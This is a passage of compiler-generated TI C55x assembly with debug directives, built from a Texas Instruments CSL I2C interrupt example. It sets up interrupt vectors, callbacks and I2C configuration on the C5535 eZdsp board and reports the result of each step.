199,column 3,is_stmt MOV *SP(#4), T0 ; |199| AMOV #_gI2cRdBuf, XAR3 ; |199| MOV #0, *AR3(T0) ; |199| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 196,column 46,is_stmt ADD #1, *SP(#4) ; |196| NOP NOP NOP .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 196,column 18,is_stmt MOV *SP(#4), AR1 ; |196| CMPU AR1 < AR2, TC1 ; |196| BCC $C$L3,TC1 ; |196| ; branchcc occurs ; |196| $C$DW$L$_CSL_i2cIntcTest$2$E: $C$L4: .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 203,column 2,is_stmt $C$DW$55 .dwtag DW_TAG_TI_branch .dwattr $C$DW$55, DW_AT_low_pc(0x00) .dwattr $C$DW$55, DW_AT_name("_IRQ_globalDisable") .dwattr $C$DW$55, DW_AT_TI_call CALL #_IRQ_globalDisable ; |203| ; call occurs [#_IRQ_globalDisable] ; |203| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 206,column 2,is_stmt $C$DW$56 .dwtag DW_TAG_TI_branch .dwattr $C$DW$56, DW_AT_low_pc(0x00) .dwattr $C$DW$56, DW_AT_name("_IRQ_clearAll") .dwattr $C$DW$56, DW_AT_TI_call CALL #_IRQ_clearAll ; |206| ; call occurs [#_IRQ_clearAll] ; |206| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 209,column 2,is_stmt $C$DW$57 .dwtag DW_TAG_TI_branch .dwattr $C$DW$57, DW_AT_low_pc(0x00) .dwattr $C$DW$57, DW_AT_name("_IRQ_disableAll") .dwattr $C$DW$57, DW_AT_TI_call CALL #_IRQ_disableAll ; |209| ; call occurs [#_IRQ_disableAll] ; |209| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 212,column 2,is_stmt MOV #(_VECSTART >> 16) << #16, AC0 ; |212| OR #(_VECSTART & 0xffff), AC0, AC0 ; |212| $C$DW$58 .dwtag DW_TAG_TI_branch .dwattr $C$DW$58, DW_AT_low_pc(0x00) .dwattr $C$DW$58, DW_AT_name("_IRQ_setVecs") .dwattr $C$DW$58, DW_AT_TI_call CALL #_IRQ_setVecs ; |212| ; call occurs [#_IRQ_setVecs] ; |212| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 215,column 2,is_stmt MOV #(_i2c_isr >> 16) << #16, AC0 ; |215| OR #(_i2c_isr & 0xffff), AC0, AC0 ; |215| MOV AC0, dbl(*(#_config)) ; |215| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 216,column 2,is_stmt MOV #23, T0 ; |216| MOV dbl(*(#_config)), AC0 ; |216| $C$DW$59 .dwtag DW_TAG_TI_branch .dwattr $C$DW$59, DW_AT_low_pc(0x00) .dwattr $C$DW$59, DW_AT_name("_IRQ_plug") .dwattr $C$DW$59, DW_AT_TI_call CALL #_IRQ_plug ; |216| ; call occurs [#_IRQ_plug] ; |216| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 219,column 2,is_stmt MOV #23, T0 ; |219| $C$DW$60 .dwtag DW_TAG_TI_branch .dwattr $C$DW$60, DW_AT_low_pc(0x00) .dwattr $C$DW$60, DW_AT_name("_IRQ_enable") .dwattr $C$DW$60, DW_AT_TI_call CALL #_IRQ_enable ; |219| ; call occurs [#_IRQ_enable] ; |219| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 221,column 2,is_stmt $C$DW$61 .dwtag DW_TAG_TI_branch .dwattr $C$DW$61, DW_AT_low_pc(0x00) .dwattr $C$DW$61, DW_AT_name("_IRQ_globalEnable") .dwattr $C$DW$61, DW_AT_TI_call CALL #_IRQ_globalEnable ; |221| ; call occurs [#_IRQ_globalEnable] ; |221| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 224,column 2,is_stmt $C$DW$62 .dwtag DW_TAG_TI_branch .dwattr $C$DW$62, DW_AT_low_pc(0x00) .dwattr $C$DW$62, DW_AT_name("_I2C_init") .dwattr $C$DW$62, DW_AT_TI_call CALL #_I2C_init ; |224| || MOV #0, T0 ; call occurs [#_I2C_init] ; |224| MOV T0, *SP(#2) ; |224| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 225,column 2,is_stmt MOV T0, AR1 BCC $C$L5,AR1 == #0 ; |225| ; branchcc occurs ; |225| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 227,column 3,is_stmt AMOV #$C$FSL4, XAR3 ; |227| MOV XAR3, dbl(*SP(#0)) $C$DW$63 .dwtag DW_TAG_TI_branch .dwattr $C$DW$63, DW_AT_low_pc(0x00) .dwattr $C$DW$63, DW_AT_name("_printf") .dwattr $C$DW$63, DW_AT_TI_call CALL #_printf ; |227| ; call occurs [#_printf] ; |227| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 228,column 3,is_stmt MOV *SP(#3), T0 ; |228| B $C$L51 ; |228| ; branch occurs ; |228| $C$L5: .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 232,column 5,is_stmt MOV #(_CSL_i2cAlCallback >> 16) << #16, AC0 ; |232| OR #(_CSL_i2cAlCallback & 0xffff), AC0, AC0 ; |232| MOV AC0, dbl(*(#_i2cIsrAddr)) ; |232| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 233,column 5,is_stmt MOV #(_CSL_i2cNackCallback >> 16) << #16, AC0 ; |233| OR #(_CSL_i2cNackCallback & 0xffff), AC0, AC0 ; |233| MOV AC0, dbl(*(#(_i2cIsrAddr+2))) ; |233| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 234,column 5,is_stmt MOV #(_CSL_i2cArdyCallback >> 16) << #16, AC0 ; |234| OR #(_CSL_i2cArdyCallback & 0xffff), AC0, AC0 ; |234| MOV AC0, dbl(*(#(_i2cIsrAddr+4))) ; |234| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 235,column 5,is_stmt MOV #(_CSL_i2cRxCallback >> 16) << #16, AC0 ; |235| OR #(_CSL_i2cRxCallback & 0xffff), AC0, AC0 ; |235| MOV AC0, dbl(*(#(_i2cIsrAddr+6))) ; |235| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 236,column 5,is_stmt MOV #(_CSL_i2cTxCallback >> 16) << #16, AC0 ; |236| OR #(_CSL_i2cTxCallback & 0xffff), AC0, AC0 ; |236| MOV AC0, dbl(*(#(_i2cIsrAddr+8))) ; |236| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 237,column 5,is_stmt MOV #(_CSL_i2cScdCallback >> 16) << #16, AC0 ; |237| OR #(_CSL_i2cScdCallback & 0xffff), AC0, AC0 ; |237| MOV AC0, dbl(*(#(_i2cIsrAddr+10))) ; |237| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 238,column 5,is_stmt MOV #(_CSL_i2cAasCallback >> 16) << #16, AC0 ; |238| OR #(_CSL_i2cAasCallback & 0xffff), AC0, AC0 ; |238| MOV AC0, dbl(*(#(_i2cIsrAddr+12))) ; |238| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 240,column 2,is_stmt AMOV #_i2cIsrAddr, XAR0 ; |240| $C$DW$64 .dwtag DW_TAG_TI_branch .dwattr $C$DW$64, DW_AT_low_pc(0x00) .dwattr $C$DW$64, DW_AT_name("_I2C_setCallback") .dwattr $C$DW$64, DW_AT_TI_call CALL #_I2C_setCallback ; |240| ; call occurs [#_I2C_setCallback] ; |240| MOV T0, *SP(#2) ; |240| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 241,column 2,is_stmt MOV T0, AR1 BCC $C$L6,AR1 == #0 ; |241| ; branchcc occurs ; |241| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 243,column 3,is_stmt AMOV #$C$FSL5, XAR3 ; |243| MOV XAR3, dbl(*SP(#0)) $C$DW$65 .dwtag DW_TAG_TI_branch .dwattr $C$DW$65, DW_AT_low_pc(0x00) .dwattr $C$DW$65, DW_AT_name("_printf") .dwattr $C$DW$65, DW_AT_TI_call CALL #_printf ; |243| ; call occurs [#_printf] ; |243| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 244,column 3,is_stmt MOV *SP(#3), T0 ; |244| B $C$L51 ; |244| ; branch occurs ; |244| $C$L6: .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 248,column 2,is_stmt MOV #47, *(#_i2cConfig) ; |248| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 249,column 2,is_stmt MOV #0, *(#(_i2cConfig+1)) ; |249| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 250,column 2,is_stmt MOV #620, *(#(_i2cConfig+2)) ; |250| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 251,column 2,is_stmt MOV #620, *(#(_i2cConfig+3)) ; |251| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 252,column 2,is_stmt MOV #66, *(#(_i2cConfig+4)) ; |252| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 253,column 2,is_stmt MOV #80, *(#(_i2cConfig+5)) ; |253| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 254,column 2,is_stmt MOV #3616, *(#(_i2cConfig+6)) ; |254| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 255,column 2,is_stmt MOV #0, *(#(_i2cConfig+7)) ; |255| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 256,column 2,is_stmt MOV #7, *(#(_i2cConfig+8)) ; |256| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 258,column 2,is_stmt AMOV #_i2cConfig, XAR0 ; |258| $C$DW$66 .dwtag DW_TAG_TI_branch .dwattr $C$DW$66, DW_AT_low_pc(0x00) .dwattr $C$DW$66, DW_AT_name("_I2C_config") .dwattr $C$DW$66, DW_AT_TI_call CALL #_I2C_config ; |258| ; call occurs [#_I2C_config] ; |258| MOV T0, *SP(#2) ; |258| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 259,column 2,is_stmt MOV T0, AR1 BCC $C$L7,AR1 == #0 ; |259| ; branchcc occurs ; |259| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 261,column 3,is_stmt AMOV #$C$FSL6, XAR3 ; |261| MOV XAR3, dbl(*SP(#0)) $C$DW$67 .dwtag DW_TAG_TI_branch .dwattr $C$DW$67, DW_AT_low_pc(0x00) .dwattr $C$DW$67, DW_AT_name("_printf") .dwattr $C$DW$67, DW_AT_TI_call CALL #_printf ; |261| ; call occurs [#_printf] ; |261| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 262,column 3,is_stmt MOV *SP(#3), T0 ; |262| B $C$L51 ; |262| ; branch occurs ; |262| $C$L7: .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 266,column 2,is_stmt AMOV #_i2cGetConfig, XAR0 ; |266| $C$DW$68 .dwtag DW_TAG_TI_branch .dwattr $C$DW$68, DW_AT_low_pc(0x00) .dwattr $C$DW$68, DW_AT_name("_I2C_getConfig") .dwattr $C$DW$68, DW_AT_TI_call CALL #_I2C_getConfig ; |266| ; call occurs [#_I2C_getConfig] ; |266| MOV T0, *SP(#2) ; |266| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 267,column 2,is_stmt MOV T0, AR1 BCC $C$L8,AR1 == #0 ; |267| ; branchcc occurs ; |267| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 269,column 6,is_stmt AMOV #$C$FSL7, XAR3 ; |269| MOV XAR3, dbl(*SP(#0)) $C$DW$69 .dwtag DW_TAG_TI_branch .dwattr $C$DW$69, DW_AT_low_pc(0x00) .dwattr $C$DW$69, DW_AT_name("_printf") .dwattr $C$DW$69, DW_AT_TI_call CALL #_printf ; |269| ; call occurs [#_printf] ; |269| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 270,column 3,is_stmt MOV *SP(#3), T0 ; |270| B $C$L51 ; |270| ; branch occurs ; |270| $C$L8: .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 274,column 2,is_stmt MOV *(#_i2cGetConfig), AR1 ; |274| MOV *(#_i2cConfig), AR2 ; |274| CMPU AR2 != AR1, TC1 ; |274| BCC $C$L9,TC1 ; |274| ; branchcc occurs ; |274| MOV *(#(_i2cGetConfig+1)), AR1 ; |274| MOV *(#(_i2cConfig+1)), AR2 ; |274| CMPU AR2 != AR1, TC1 ; |274| BCC $C$L9,TC1 ; |274| ; branchcc occurs ; |274| MOV *(#(_i2cGetConfig+2)), AR1 ; |274| MOV *(#(_i2cConfig+2)), AR2 ; |274| CMPU AR2 != AR1, TC1 ; |274| BCC $C$L9,TC1 ; |274| ; branchcc occurs ; |274| MOV *(#(_i2cGetConfig+3)), AR1 ; |274| CMPU AR2 != AR1, TC1 ; |274| BCC $C$L9,TC1 ; |274| ; branchcc occurs ; |274| MOV *(#(_i2cGetConfig+4)), AR1 ; |274| MOV *(#(_i2cConfig+4)), AR2 ; |274| CMPU AR2 != AR1, TC1 ; |274| BCC $C$L9,TC1 ; |274| ; branchcc occurs ; |274| MOV *(#(_i2cGetConfig+5)), AR1 ; |274| MOV *(#(_i2cConfig+5)), AR2 ; |274| CMPU AR2 != AR1, TC1 ; |274| BCC $C$L9,TC1 ; |274| ; branchcc occurs ; |274| MOV *(#(_i2cGetConfig+6)), AR1 ; |274| MOV *(#(_i2cConfig+6)), AR2 ; |274| CMPU AR2 != AR1, TC1 ; |274| BCC $C$L9,TC1 ; |274| ; branchcc occurs ; |274| MOV *(#(_i2cGetConfig+7)), AR1 ; |274| MOV *(#(_i2cConfig+7)), AR2 ; |274| CMPU AR2 != AR1, TC1 ; |274| BCC $C$L9,TC1 ; |274| ; branchcc occurs ; |274| MOV *(#(_i2cGetConfig+8)), AR1 ; |274| MOV *(#(_i2cConfig+8)), AR2 ; |274| CMPU AR2 == AR1, TC1 ; |274| BCC $C$L10,TC1 ; |274| ; branchcc occurs ; |274| $C$L9: .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 284,column 6,is_stmt AMOV #$C$FSL8, XAR3 ; |284| MOV XAR3, dbl(*SP(#0)) $C$DW$70 .dwtag DW_TAG_TI_branch .dwattr $C$DW$70, DW_AT_low_pc(0x00) .dwattr $C$DW$70, DW_AT_name("_printf") .dwattr $C$DW$70, DW_AT_TI_call CALL #_printf ; |284| ; call occurs [#_printf] ; |284| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 285,column 3,is_stmt MOV *SP(#3), T0 ; |285| B $C$L51 ; |285| ; branch occurs ; |285| $C$L10: .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 288,column 2,is_stmt MOV #0, *(#_i2cErrInTx) ; |288| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 289,column 2,is_stmt MOV #0, *(#_i2cTxCount) ; |289| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 290,column 2,is_stmt MOV *(#(_i2cConfig+4)), AR1 ; |290| MOV AR1, *(#_dataLength) ; |290| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 293,column 2,is_stmt $C$DW$71 .dwtag DW_TAG_TI_branch .dwattr $C$DW$71, DW_AT_low_pc(0x00) .dwattr $C$DW$71, DW_AT_name("_I2C_eventEnable") .dwattr $C$DW$71, DW_AT_TI_call CALL #_I2C_eventEnable ; |293| || MOV #1, T0 ; call occurs [#_I2C_eventEnable] ; |293| MOV T0, *SP(#2) ; |293| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 294,column 2,is_stmt MOV T0, AR1 BCC $C$L11,AR1 == #0 ; |294| ; branchcc occurs ; |294| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 296,column 3,is_stmt AMOV #$C$FSL9, XAR3 ; |296| MOV XAR3, dbl(*SP(#0)) $C$DW$72 .dwtag DW_TAG_TI_branch .dwattr $C$DW$72, DW_AT_low_pc(0x00) .dwattr $C$DW$72, DW_AT_name("_printf") .dwattr $C$DW$72, DW_AT_TI_call CALL #_printf ; |296| ; call occurs [#_printf] ; |296| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 297,column 3,is_stmt MOV *SP(#3), T0 ; |297| B $C$L51 ; |297| ; branch occurs ; |297| $C$L11: .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 301,column 2,is_stmt $C$DW$73 .dwtag DW_TAG_TI_branch .dwattr $C$DW$73, DW_AT_low_pc(0x00) .dwattr $C$DW$73, DW_AT_name("_I2C_eventEnable") .dwattr $C$DW$73, DW_AT_TI_call CALL #_I2C_eventEnable ; |301| || MOV #4, T0 ; call occurs [#_I2C_eventEnable] ; |301| MOV T0, *SP(#2) ; |301| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 302,column 2,is_stmt MOV T0, AR1 BCC $C$L12,AR1 == #0 ; |302| ; branchcc occurs ; |302| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 304,column 3,is_stmt AMOV #$C$FSL9, XAR3 ; |304| MOV XAR3, dbl(*SP(#0)) $C$DW$74 .dwtag DW_TAG_TI_branch .dwattr $C$DW$74, DW_AT_low_pc(0x00) .dwattr $C$DW$74, DW_AT_name("_printf") .dwattr $C$DW$74, DW_AT_TI_call CALL #_printf ; |304| ; call occurs [#_printf] ; |304| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 305,column 3,is_stmt MOV *SP(#3), T0 ; |305| B $C$L51 ; |305| ; branch occurs ; |305| $C$L12: .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 309,column 2,is_stmt MOV *port(#6692), AR1 ; |309| BCLR @#13, AR1 ; |309| BSET @#13, AR1 ; |309| MOV AR1, *port(#6692) ; |309| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 312,column 8,is_stmt MOV *(#_dataLength), AR1 ; |312| BCC $C$L15,AR1 == #0 ; |312| ; branchcc occurs ; |312| $C$L13: $C$DW$L$_CSL_i2cIntcTest$26$B: .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 314,column 3,is_stmt MOV *(#_i2cErrInTx), AR1 ; |314| BCC $C$L14,AR1 == #0 ; |314| ; branchcc occurs ; |314| $C$DW$L$_CSL_i2cIntcTest$26$E: .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 316,column 4,is_stmt AMOV #$C$FSL10, XAR3 ; |316| MOV XAR3, dbl(*SP(#0)) $C$DW$75 .dwtag DW_TAG_TI_branch .dwattr $C$DW$75, DW_AT_low_pc(0x00) .dwattr $C$DW$75, DW_AT_name("_printf") .dwattr $C$DW$75, DW_AT_TI_call CALL #_printf ; |316| ; call occurs [#_printf] ; |316| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 317,column 4,is_stmt MOV *SP(#3), T0 ; |317| B $C$L51 ; |317| ; branch occurs ; |317| $C$L14: $C$DW$L$_CSL_i2cIntcTest$28$B: .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 312,column 8,is_stmt MOV *(#_dataLength), AR1 ; |312| BCC $C$L13,AR1 != #0 ; |312| ; branchcc occurs ; |312| $C$DW$L$_CSL_i2cIntcTest$28$E: $C$L15: .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 322,column 2,is_stmt $C$DW$76 .dwtag DW_TAG_TI_branch .dwattr $C$DW$76, DW_AT_low_pc(0x00) .dwattr $C$DW$76, DW_AT_name("_I2C_eventDisable") .dwattr $C$DW$76, DW_AT_TI_call CALL #_I2C_eventDisable ; |322| || MOV #1, T0 ; call occurs [#_I2C_eventDisable] ; |322| MOV T0, *SP(#2) ; |322| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 323,column 2,is_stmt MOV T0, AR1 BCC $C$L16,AR1 == #0 ; |323| ; branchcc occurs ; |323| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 325,column 3,is_stmt AMOV #$C$FSL11, XAR3 ; |325| MOV XAR3, dbl(*SP(#0)) $C$DW$77 .dwtag DW_TAG_TI_branch .dwattr $C$DW$77, DW_AT_low_pc(0x00) .dwattr $C$DW$77, DW_AT_name("_printf") .dwattr $C$DW$77, DW_AT_TI_call CALL #_printf ; |325| ; call occurs [#_printf] ; |325| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 326,column 3,is_stmt MOV *SP(#3), T0 ; |326| B $C$L51 ; |326| ; branch occurs ; |326| $C$L16: .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 330,column 2,is_stmt $C$DW$78 .dwtag DW_TAG_TI_branch .dwattr $C$DW$78, DW_AT_low_pc(0x00) .dwattr $C$DW$78, DW_AT_name("_I2C_eventDisable") .dwattr $C$DW$78, DW_AT_TI_call CALL #_I2C_eventDisable ; |330| || MOV #4, T0 ; call occurs [#_I2C_eventDisable] ; |330| MOV T0, *SP(#2) ; |330| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 331,column 2,is_stmt MOV T0, AR1 BCC $C$L17,AR1 == #0 ; |331| ; branchcc occurs ; |331| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 333,column 3,is_stmt AMOV #$C$FSL11, XAR3 ; |333| MOV XAR3, dbl(*SP(#0)) $C$DW$79 .dwtag DW_TAG_TI_branch .dwattr $C$DW$79, DW_AT_low_pc(0x00) .dwattr $C$DW$79, DW_AT_name("_printf") .dwattr $C$DW$79, DW_AT_TI_call CALL #_printf ; |333| ; call occurs [#_printf] ; |333| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 334,column 3,is_stmt MOV *SP(#3), T0 ; |334| B $C$L51 ; |334| ; branch occurs ; |334| $C$L17: .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 337,column 2,is_stmt AMOV #$C$FSL12, XAR3 ; |337| MOV XAR3, dbl(*SP(#0)) $C$DW$80 .dwtag DW_TAG_TI_branch .dwattr $C$DW$80, DW_AT_low_pc(0x00) .dwattr $C$DW$80, DW_AT_name("_printf") .dwattr $C$DW$80, DW_AT_TI_call CALL #_printf ; |337| ; call occurs [#_printf] ; |337| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 340,column 6,is_stmt MOV #0, *SP(#4) ; |340| NOP NOP .dwpsn file 